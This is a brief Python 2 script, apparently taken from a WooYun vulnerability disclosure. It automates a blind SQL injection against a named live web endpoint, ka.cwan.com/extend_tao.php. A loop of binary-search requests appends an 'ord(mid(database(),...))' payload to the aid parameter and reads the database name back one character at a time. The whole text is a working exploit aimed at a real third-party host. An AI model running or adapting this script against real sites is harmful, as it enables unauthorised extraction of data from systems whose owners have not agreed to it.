WooYun.org

#coding=utf-8
import requests
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            result += chr(mid+1)
            print result
            break
        payload = ' and ord(mid(database(),%s,1))>%s' % (str(index), mid)
        html = requests.get('http://ka.cwan.com/extend_tao.php?aid=583440'+payload).content
        # print html
        verify = "Uninitialized" #utf8版本
        if verify in html:
            right = mid
            # print html
        else:
            left = mid
                   
if __name__ == '__main__':
    for i in range(1,50):
        binary_sqli(35, 127, i)